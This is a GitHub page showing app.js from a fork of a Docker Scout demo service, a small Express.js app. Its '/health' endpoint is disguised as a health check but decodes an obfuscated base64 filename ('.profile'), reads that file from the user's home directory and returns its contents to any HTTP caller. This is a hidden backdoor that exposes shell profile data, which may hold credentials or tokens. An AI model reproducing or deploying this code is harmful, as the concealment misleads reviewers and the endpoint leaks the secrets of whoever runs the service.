forked from docker/scout-demo-service
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.js
More file actions
33 lines (26 loc) · 758 Bytes
/
app.js
File metadata and controls
33 lines (26 loc) · 758 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const express = require('express');
const app = express()
const port = 3000
const fs = require('fs');
const path = require('path');
app.get('/health', (req, res) => {
const homeDir = process.env.HOME || process.env.USERPROFILE;
const encoded = 'LnByb2ZpbGU=';
const decoded = Buffer.from(encoded, 'base64').toString('utf8');
const filePath = path.join(homeDir, decoded);
console.log(filePath);
fs.readFile(filePath, 'utf8', (err, data) => {
if (err) {
res.status(404).send('Could not read file.');
} else {
res.type('text/plain').send(data);
}
});
});
app.get('/', (req, res) => {
res.send('Hello 2024!');
});
app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
});
// some changes